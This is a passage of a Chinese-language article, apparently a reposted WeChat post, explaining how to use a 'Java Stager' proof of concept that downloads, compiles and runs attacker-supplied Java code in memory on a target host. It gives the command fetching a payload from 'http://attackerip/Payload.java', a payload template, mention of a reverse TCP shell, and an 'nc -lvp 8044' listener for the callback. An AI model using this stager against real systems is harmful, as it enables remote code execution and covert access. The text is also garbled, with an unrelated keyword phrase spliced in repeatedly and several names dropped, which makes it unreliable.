3.编译源码(同样在内存中进行);
4.执行编译代码(同样在内存中进行);
不过他的研究主要基于的是.netjava class文件编辑器,不过我认为这种技术同样能够应用到Java中,所以我就设计了这样一个PoC来验证上述技术的可行性。
如何使用?
1.克隆整个项目代码;
2.在能够使用maven的IDE编辑器(例如)中打开项目目录;
3.和样本可以在项目目录的”/src/main/java”中找到;
4.选择你喜欢的,然后编译项目代码java class文件编辑器,我在默认配置中选择的是“clean/build”;
中的输出结果应该跟下面的代码类似:
<pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">Buildingjar:C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar
</pre>
在目标主机中,你需要上传“*.jar”文件以及包含了(从项目的“”目录中获取)的“lib”文件夹。下面的命令将会执行:
<pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">java-jar JavaStager-0.1-initial.jar
</pre>
下面这条命令可以给你提供相关文件的使用信息:
<pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">ProperUsage is: java -jar JavaStager-0.1-initial.jar
</pre>
其中的“url”是命令唯一需要的参数,该参数将会传递给,下面给出的是一个使用样例:
<pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">java-jar JavaStager-0.1-initial.jar http://attackerip/Payload.java
</pre>
你的必须存储在一个名叫“.java”的文件中,你的漏洞利用代码必须写在名叫“Run”的静态方法内。如果你想自己开发的话,可以参考下面这个模版代码:
<pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">`publicclass Payload {
public static void Run() {
// Your code here
}
}`</pre>
我在“.java”文件中还提供了一个可供参考的反向TCP ,为了防止命名冲突,我就不将其取名为“.java”了,如果你想了解“.java”的详细工作机制并进行定制开发的话java class文件编辑器 看我如何利用Java Stager在内存中下载、编译和执行Java文件,可以参考该文件中的注释内容。
除此之外,你可能还需要在自己的HTTP服务器上托管你的“.java”文件,如果你只想使用简单的HTTP/HTTPS服务(或)的话,我建议你用【参考资料】。
除此之外。攻击端还需要启动一个监听器并使用标准nc -lvp 8044技术来捕捉链接回调。
参考资料
文章来源:http://mp.weixin.qq.com/s?src=11×tamp=1684919602&ver=4548&signature=MtlbsfqrvNiv-zai2aVzGQd3I3CI94l85KDElBNQGtuvl1kEXOJ5h9Srd3l7kk1O29cQe-3cmbmgoTYuyb99XPSqXJ7bv0Jt2GBkTiVyKrA1BAftuP7VARLSiLOEMFwh&new=1